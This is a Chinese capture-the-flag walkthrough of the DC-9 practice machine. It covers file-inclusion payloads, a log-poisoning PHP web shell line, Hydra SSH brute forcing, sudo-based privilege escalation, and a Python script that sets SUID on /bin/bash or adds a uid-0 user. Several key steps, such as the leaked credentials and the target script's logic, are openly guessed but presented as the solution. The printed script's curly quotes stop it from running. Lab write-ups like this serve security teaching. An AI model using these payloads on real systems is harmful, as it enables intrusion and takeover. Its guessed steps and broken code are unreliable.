DC-9靶机渗透实战:从LFI漏洞到Python自动化提权

1. 项目概述:一次从Web漏洞到系统权限的完整攻防演练

最近在复现DC-9这个经典的渗透测试靶机时,我完整走了一遍从外部信息收集、Web漏洞利用,到最后利用Python脚本实现权限提升的路径。整个过程就像一次精心设计的闯关游戏,每个环节都环环相扣,缺一不可。DC-9靶机模拟了一个存在多处安全缺陷的Web应用环境,核心突破口在于一个看似不起眼的本地文件包含漏洞。但仅仅利用这个漏洞读取敏感信息还不够,真正的挑战在于如何将初步的立足点,转化为对目标系统的完全控制权。这中间涉及到对系统配置的深入理解、对现有服务的巧妙利用,以及最终编写一个高效的Python脚本来完成临门一脚的提权操作。对于刚接触渗透测试的朋友来说,DC-9是一个绝佳的练手项目,它能让你清晰地看到,一个微小的输入点如何被层层放大,最终导致整个防线失守。而对于有经验的老手,其中利用Python进行自动化信息收集和提权尝试的思路,也颇具参考价值。接下来,我就把自己在这次实战中的完整思路、踩过的坑,以及最终奏效的Payload,毫无保留地分享出来。

2. 靶机环境分析与初始信息收集

在开始任何攻击之前,充分的信息收集是成功的一半。对于DC-9这类独立靶机,我们通常假设已经通过扫描(例如使用 netdiscover arp-scan )获取了其IP地址,例如 192.168.1.105

2.1 端口与服务探测

拿到IP后,第一步就是用Nmap进行全面的端口扫描,目的是摸清靶机对外开放了哪些服务,这些服务就是潜在的入口点。

nmap -sV -sC -p- 192.168.1.105 -oA dc9_full_scan

这里解释一下参数:

  • -sV :探测服务版本,知道运行的是Apache 2.4.38还是Nginx 1.18,对于寻找已知漏洞至关重要。
  • -sC :使用默认的Nmap脚本进行扫描,能发现一些常见的安全问题或获取额外信息(如HTTP标题)。
  • -p- :扫描所有65535个端口,避免遗漏那些开在非标准端口(如8080、8443)的服务。
  • -oA dc9_full_scan :将扫描结果以所有格式(normal, XML, grepable)输出到文件,方便后续分析。

典型的扫描结果可能会显示开放了 80端口(HTTP) 22端口(SSH) 。SSH端口的存在提示我们,最终可能需要获取一个有效的系统用户凭证。而Web服务(80端口)则是我们首要的、也是最常见的攻击面。

2.2 Web应用初步侦察

确定了80端口开放,我们立即用浏览器访问靶机IP。首先映入眼帘的是网站首页。这时,我们需要像侦探一样观察:

  1. 页面功能 :这是一个什么类型的网站?博客、CMS、后台管理系统还是自定义应用?DC-9通常是一个简单的搜索或展示页面。
  2. 技术栈线索 :查看网页源代码,注意 <meta> 标签、引用的JavaScript/CSS文件路径、注释等,可能透露使用的框架(如WordPress、Joomla)或后端语言(PHP文件后缀)。
  3. 目录枚举 :使用工具如 gobuster dirb 进行目录爆破,寻找隐藏的管理后台( /admin )、配置文件( /config )、备份文件( /backup )或脚本文件( /scripts )。
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak

这个命令使用常见字典,并尝试 .php , .txt 等扩展名,寻找隐藏的入口点。在DC-9中,我们很可能会发现一个关键的PHP页面,比如 search.php results.php ,这通常就是漏洞所在。

注意 :信息收集阶段切忌急躁。有时一个不起眼的 robots.txt 文件或页面注释里的一句话,就能直接指明漏洞位置。务必仔细查看每个页面的响应,包括HTTP头部信息。

3. 文件包含漏洞的发现与利用

在侦察阶段,我们很可能发现了一个接收用户输入的页面,例如 http://192.168.1.105/results.php 。这个页面可能有一个 file page 参数,用于动态加载内容。

3.1 漏洞原理与手动测试

本地文件包含漏洞的核心在于,应用程序未对用户输入的“文件路径”参数进行严格过滤,允许攻击者使用目录遍历符(如 ../ )跳出预期的目录,读取服务器上的任意文件。

手动测试非常简单,直接在URL参数中尝试包含已知的系统文件:

http://192.168.1.105/results.php?file=../../../../etc/passwd

如果页面上显示了 /etc/passwd 文件的内容(包含了系统用户列表),那么LFI漏洞就坐实了。这是Linux系统的关键信息文件,虽然不能直接用于登录(现代系统密码存储在 /etc/shadow ),但它能告诉我们系统上有哪些用户,为后续的暴力破解或密码喷洒攻击提供目标名单。

3.2 利用LFI获取更敏感的信息

拿到LFI漏洞后,我们的目标不再是读取几个普通文件,而是寻找能直接获取系统访问权限的“钥匙”。在Linux+PHP环境下,有几个经典的利用路径:

  1. 读取Web日志文件 :如果服务器配置不当,我们可以通过LFI读取Apache或Nginx的访问日志(如 /var/log/apache2/access.log )。然后,我们通过向服务器发送包含PHP代码的HTTP请求(例如,在User-Agent头中写入 <?php system($_GET[‘cmd’]); ?> ),再通过LFI包含这个日志文件,就有可能让服务器执行我们注入的PHP代码,实现远程命令执行。这就是所谓的“日志投毒”。
  2. 读取进程信息 :在某些环境下,可以尝试包含 /proc/self/environ 文件,其中包含了当前进程的环境变量。如果其中存在用户可控的变量(如HTTP_USER_AGENT),同样可以用于注入代码。
  3. 读取应用程序源码 :通过LFI读取有漏洞的 results.php 文件本身的源码,有时能发现其他隐藏参数、数据库配置信息或逻辑缺陷。使用PHP封装器 php://filter 可以很方便地做到这一点:
http://192.168.1.105/results.php?file=php://filter/convert.base64-encode/resource=results.php

这个Payload会以Base64编码的形式返回 results.php 的源代码,解码后我们就能进行代码审计。

在DC-9的上下文中,经过尝试,我们可能会发现通过包含 /etc/passwd 文件,获得了用户列表。同时,通过包含其他路径(如可能的配置文件或备份文件),我们或许能找到一个存放着用户名和密码哈希(甚至是明文密码)的文件,例如一个陈旧的数据库备份或配置文件。这份凭证列表将成为我们通往下一个阶段的“敲门砖”。

实操心得 :LFI利用的成功率高度依赖于服务器的配置和权限。不是每次“日志投毒”都能成功,这取决于Web服务进程是否有权限写入日志、日志文件的路径是否可预测等。多准备几种利用方式,并善于使用 php://filter 来读取源码进行分析,往往比盲目尝试更有效。

4. 凭证获取与SSH登录突破

假设我们通过LFI漏洞,成功获取到了一个名为 staff.txt config.php.bak 的文件,里面包含了如下格式的凭证:

user1:password1
user2:password2
admin:admin123
...
janitor:IlovePuppies1!

4.1 凭证整理与有效性验证

我们首先需要整理这些凭证。将用户名和密码分别保存到两个文件中,例如 users.txt passwords.txt 。注意,有些密码可能是哈希值(如MD5),需要先尝试破解;如果是明文,那就简单多了。

接下来,我们需要验证哪些凭证是有效的。由于靶机开放了22端口(SSH),最直接的验证方式就是尝试SSH登录。但逐个手动尝试效率太低,此时就需要用到自动化工具。

4.2 使用Hydra进行SSH暴力破解/密码喷洒

如果我们获取到的是明文密码,并且用户数量较多,我们可以进行“密码喷洒”攻击:即用少数几个常用密码,去尝试所有的用户。如果我们获取到的是哈希,则需要先破解。

这里以使用明文密码列表为例,演示如何使用Hydra进行高效的批量验证:

hydra -L users.txt -P passwords.txt ssh://192.168.1.105 -t 4 -vV -f
  • -L users.txt :指定用户名字典文件。
  • -P passwords.txt :指定密码字典文件。
  • ssh://192.168.1.105 :指定协议和目标。
  • -t 4 :指定任务并发数,根据网络情况调整,太多可能被屏蔽。
  • -vV :显示详细过程,方便观察进度。
  • -f :找到第一个有效凭证后即停止。

运行后,Hydra会尝试所有用户和密码的组合。一旦成功,它会输出类似 [22][ssh] host: 192.168.1.105 login: janitor password: IlovePuppies1! 的信息。恭喜你,现在你拥有一个有效的系统用户 shell 了!

注意事项 :在真实环境中,这种批量登录尝试会触发警报(如fail2ban)。在渗透测试授权范围内,需要控制速率( -w 参数设置等待时间)或使用代理。在DC-9这样的靶机中,通常没有这么严格的限制。

4.3 建立稳定的Shell连接

获取到有效SSH凭证后,立即登录:

ssh janitor@192.168.1.105

输入密码 IlovePuppies1! ,我们就获得了一个相对低权限的交互式 shell 。这比通过Web漏洞获得的那个可能受限的、非交互的 shell 要强大和稳定得多。首先执行 id whoami 命令确认当前用户权限,然后开始探索系统,为下一步提权做准备。

5. 内部信息枚举与提权向量挖掘

登录系统后,我们从一个普通用户(比如 janitor )开始。提权的本质就是寻找当前用户能够利用的、可以提升至 root 权限的“杠杆”。在Linux系统中,有几十种常见的提权方法,我们需要系统性地进行枚举。

5.1 手动信息收集清单

以下是我每次进行Linux提权时会检查的清单,可以写成一个简单的脚本,也可以逐条手动执行:

  1. 系统与内核信息 uname -a 。查看内核版本,搜索是否有公开的本地提权漏洞(如DirtyCow)。对于老旧靶机,这招有时很有效。
  2. sudo权限 sudo -l 这是最应该首先检查的! 它会列出当前用户无需密码或以 root 身份可以执行的命令。如果看到 /usr/bin/python /usr/bin/perl /usr/bin/find /usr/bin/vi 等命令出现在 NOPASSWD 条目里,提权可能就在一瞬间。
  3. SUID/SGID文件 find / -type f -perm -4000 -o -perm -2000 2>/dev/null 。查找设置了SUID(运行时有文件所有者权限)或SGID(运行时有文件所属组权限)位的文件。常见的危险SUID文件包括 find , vim , bash , cp , nmap (旧版本)等。
  4. 计划任务 crontab -l (查看当前用户的); ls -la /etc/cron* cat /etc/crontab 。查看是否有任何以 root 身份运行的定时任务,并且任务脚本或目录的权限配置不当(当前用户可写)。
  5. 环境变量 env 。查看环境变量,特别是 PATH 。如果 PATH 中包含当前用户可写的目录,并且 root 会执行某些不带绝对路径的命令,就可能通过劫持 PATH 来提权。
  6. 进程与服务 ps aux netstat -tulpn 。查看是否有以 root 身份运行的不安全服务或进程。
  7. 用户文件与历史 :检查用户家目录下的隐藏文件、脚本、备份文件( .bash_history , .ssh/ , .mysql_history , 脚本文件等),可能包含密码或其他敏感信息。

5.2 DC-9中的关键发现

在DC-9中,执行 sudo -l 后,我们可能会看到令人兴奋的结果:

User janitor may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test

这意味着用户 janitor 可以以 root 身份, 无需密码 ,运行 /opt/devstuff/dist/test/test 这个程序。这无疑是最清晰的提权路径。我们的任务就从“寻找提权方法”变成了“分析并利用这个特定的程序”。

6. Python脚本的编写与提权执行

现在,焦点集中在这个 /opt/devstuff/dist/test/test 文件上。我们需要弄清楚它是什么,以及如何利用它。

6.1 分析目标程序

首先,查看这个文件的属性:

file /opt/devstuff/dist/test/test
ls -la /opt/devstuff/dist/test/test

它很可能是一个编译后的二进制文件,或者是一个脚本。如果是二进制文件,我们可以尝试用 strings 命令提取其中的可读字符串,寻找线索。但在很多CTF场景中,为了简化,它可能就是一个Python脚本,或者调用了某个脚本。

更常见的设定是:在 /opt/devstuff/ 目录下,存在源代码目录(如 /opt/devstuff/test.py )和一个编译/打包后的输出目录( /opt/devstuff/dist/ )。 test 程序会从某个相对或绝对路径读取数据或调用脚本。

检查 /opt/devstuff/ 目录:

ls -la /opt/devstuff/

我们可能会发现两个目录: dist/ source/ 。在 source/ 目录下,找到了 test.py 的源代码。查看其内容:

#!/usr/bin/env python3
import os
import sys
# ... 一些代码 ...
data_file = “input.txt”
# 尝试读取 data_file ...

关键点在于,这个脚本试图读取一个名为 input.txt 的文件。如果这个文件路径是相对的,或者我们可以控制其内容,那么就有文章可做了。

6.2 构造提权思路

假设 test.py 的代码逻辑是:读取 input.txt ,然后对其内容进行某种处理,甚至可能使用 os.system() subprocess.call() 来执行命令。而我们可以以 root 身份运行 /opt/devstuff/dist/test/test (它很可能直接或间接调用了 test.py )。

那么,提权思路就清晰了:

  1. 找到 test.py 实际读取 input.txt 的位置。由于我们以 root 身份执行,但程序可能从当前目录读取,我们可以控制当前目录。
  2. 在我们有写入权限的目录(例如 /tmp )下,创建一个恶意的 input.txt 文件,其内容是一条我们想以 root 身份执行的命令(例如,给 /bin/bash 设置SUID位,或者直接添加一个 root 用户)。
  3. 通过 sudo 执行 test 程序,并确保它在我们的恶意 input.txt 文件所在目录下运行,从而触发命令执行。

6.3 编写自动化提权Python脚本

为了更优雅、更可控地完成这一切,我们可以编写一个Python脚本。这个脚本将完成以下工作:

  1. 在临时目录创建恶意载荷文件。
  2. 构造完整的 sudo 命令。
  3. 执行并捕获结果。

以下是一个示例脚本 exploit_dc9.py

#!/usr/bin/env python3
import os
import subprocess
import tempfile
import sys

def create_payload_file():
    """创建包含提权命令的payload文件"""
    # 方法1:给bash设置SUID位,之后可以直接用 `bash -p` 获取root shell
    payload_content = “chmod u+s /bin/bash\n”
    # 方法2:直接添加一个具有root权限的用户(需要确认有useradd和passwd权限)
    # payload_content = “useradd -ou 0 -g 0 superuser && echo ‘superuser:password123’ | chpasswd\n”
    
    # 在/tmp目录下创建一个临时文件
    fd, payload_path = tempfile.mkstemp(dir=‘/tmp’, suffix=‘.txt’, text=True)
    with os.fdopen(fd, ‘w’) as f:
        f.write(payload_content)
    print(f“[+] 恶意payload文件创建于: {payload_path}”)
    return payload_path

def execute_sudo_exploit(payload_file_path):
    """利用sudo权限执行目标程序,并指向我们的payload文件"""
    # 关键:切换到payload文件所在目录执行,确保程序读取到我们的文件
    exploit_dir = os.path.dirname(payload_file_path)
    target_program = “/opt/devstuff/dist/test/test”
    
    # 构造命令:先cd到目录,然后以root身份执行程序
    # 注意:这里假设程序从当前目录读取‘input.txt‘。如果程序固定读取其他路径,需要做符号链接等操作。
    command = f“cd {exploit_dir} && sudo {target_program}”
    
    print(f“[+] 执行提权命令: {command}”)
    try:
        # 执行命令,并捕获输出
        result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=10)
        print(f“[*] 命令输出:\n{result.stdout}”)
        if result.stderr:
            print(f“[!] 错误信息:\n{result.stderr}”)
        return result.returncode
    except subprocess.TimeoutExpired:
        print(“[!] 命令执行超时”)
        return -1
    except Exception as e:
        print(f“[!] 执行过程中发生异常: {e}”)
        return -1

def verify_privesc():
    """验证提权是否成功"""
    print(“\n[+] 验证提权结果...”)
    # 检查/bin/bash是否设置了SUID位
    if os.path.exists(“/bin/bash”) and (os.stat(“/bin/bash”).st_mode & 0o4000):
        print(“[SUCCESS] /bin/bash 已设置SUID位!”)
        print(“  你可以通过执行 ‘bash -p‘ 来获得一个root shell。”)
        return True
    else:
        print(“[FAILURE] 提权未成功,请检查payload和程序逻辑。”)
        return False

def cleanup(payload_file_path):
    """清理创建的临时文件(可选)"""
    try:
        os.unlink(payload_file_path)
        print(f“[+] 已清理临时文件: {payload_file_path}”)
    except:
        pass

if __name__ == “__main__”:
    print(“[DC-9 自动化提权脚本]”)
    payload_file = create_payload_file()
    
    ret_code = execute_sudo_exploit(payload_file)
    
    if ret_code == 0:
        verify_privesc()
    else:
        print(“[!] 提权命令执行失败。”)
    
    # 是否清理取决于你,保留文件有时便于调试
    # cleanup(payload_file)

6.4 执行与最终提权

  1. 将上述脚本上传到靶机(可以使用 scp ,或者直接在靶机上用 vi 创建)。
  2. 给予执行权限: chmod +x exploit_dc9.py
  3. 运行脚本: python3 exploit_dc9.py

脚本会创建 input.txt 文件(内容为 chmod u+s /bin/bash ),然后在 /tmp 目录下以 root 权限执行 test 程序。如果程序逻辑是从当前目录读取 input.txt 并执行其中的命令(或受其内容影响而执行命令),那么 /bin/bash 就会被加上SUID位。

  1. 验证:运行 ls -l /bin/bash ,如果看到 -rwsr-xr-x 中的 s 位,说明成功。
  2. 获取 root shell :直接运行 bash -p ,由于 bash 有了SUID位,它会以文件所有者( root )的身份运行,从而给我们一个 root 权限的 shell 。执行 whoami 确认,返回 root ,提权完成。

踩坑记录与技巧

  • 路径问题 :脚本中 cd {exploit_dir} && sudo ... 是关键。必须确保程序在读取 input.txt 时,使用的是我们可控的当前目录下的文件。如果程序使用绝对路径(如 /opt/devstuff/input.txt ),此方法失效。此时需要检查源代码,看是否有覆盖此路径的方法,或者尝试创建符号链接: ln -s /tmp/malicious_input.txt /opt/devstuff/input.txt (需要对该目录有写权限)。
  • 命令注入与过滤 :如果 test 程序是通过 os.system(“some_tool “ + user_input) 这种方式执行命令,那么我们的 input.txt 内容可能就是直接的命令注入。但如果程序对输入进行了过滤或转义,就需要更精巧的绕过。
  • Python版本 :确保靶机上的Python版本与脚本兼容。使用 #!/usr/bin/env python3 作为shebang是更稳妥的做法。
  • 备用方案 :如果设置SUID位失败,可以尝试其他命令,如直接写入 /etc/passwd 添加用户、反弹 root 权限的 shell 到监听端口等。脚本中的 payload_content 可以灵活修改。

7. 总结与防御思考

回顾整个DC-9的渗透过程,攻击链非常清晰: 文件包含漏洞 -> 凭证信息泄露 -> SSH弱密码/默认密码 -> 不当的sudo配置 -> 成功的本地提权 。这几乎是一条教科书般的“外部突破到内部横向再到权限提升”的路径。

从防御角度,每个环节都可以加强:

  1. Web层 :对用户输入进行严格过滤和校验,禁止 ../ 等目录遍历字符。使用白名单机制限制文件包含的范围。及时更新和修补Web框架及组件。
  2. 认证层 :避免在代码、配置文件或备份文件中硬编码凭证。使用强密码策略,定期更换密码。对SSH等服务,考虑使用密钥认证而非密码,或部署双因素认证。
  3. 系统权限层 :遵循最小权限原则。定期审计 sudo 配置( /etc/sudoers ),确保没有普通用户拥有不必要的、无密码的 root 命令执行权。使用 sudo 时,尽量指定完整的命令路径,并避免允许执行 shell 、编辑器或解释器(如 python perl )。
  4. 开发与部署 :在开发中,避免让程序从不可信的位置读取文件或执行命令。在部署时,确保编译/打包目录与源代码目录的权限分离,生产环境不应包含源代码或可写的开发目录。

对于渗透测试学习者而言,DC-9的价值在于它串联了多个基础但关键的技能点。手动完成一遍后,可以尝试将其自动化,或者思考在更严格的环境下(如 sudo 命令受限、文件路径不可控)如何变通。渗透测试的本质就是不断地在限制条件下寻找那个唯一的、脆弱的“突破口”。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值